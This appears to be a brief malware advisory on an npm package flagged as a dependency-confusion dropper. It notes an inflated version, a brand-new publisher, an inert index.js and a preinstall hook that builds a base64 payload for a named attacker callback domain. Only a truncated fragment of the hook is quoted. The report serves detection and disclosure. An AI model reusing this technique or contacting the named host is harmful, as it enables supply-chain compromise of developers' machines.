GCVE-110-OSM-2026-10550

This looks like a dependency-confusion implant meant to outrank an internal package name and execute a preinstall payload that beacons out to an attacker-controlled callback domain. The attacker model is a package-publisher opportunistically poisoning internal installs: the version is inflated to 99.99.99, the account is brand new, and `package.json` contains a `preinstall` hook that builds a base64 payload for `pkgsub.callback.m0chan.co.uk`. The IOC classification labels that URL as `fetched-payload`, which is consistent with download-and-execute behavior rather than a benign build step. `index.js` is inert (`module.exports = {}`), so the real behavior is in the install hook, making this a credible malicious installer/dropper. ENTRY index.js (main: index.js) - Preinstall Script in package.json: ""preinstall": "b64=$(printf '%s' \"" DESTINATION - 2 fetched-payload (urls, domains) (values recorded in verified_iocs) ADDITIONAL FINDINGS - Brand New Package - Very New NPM Publisher Account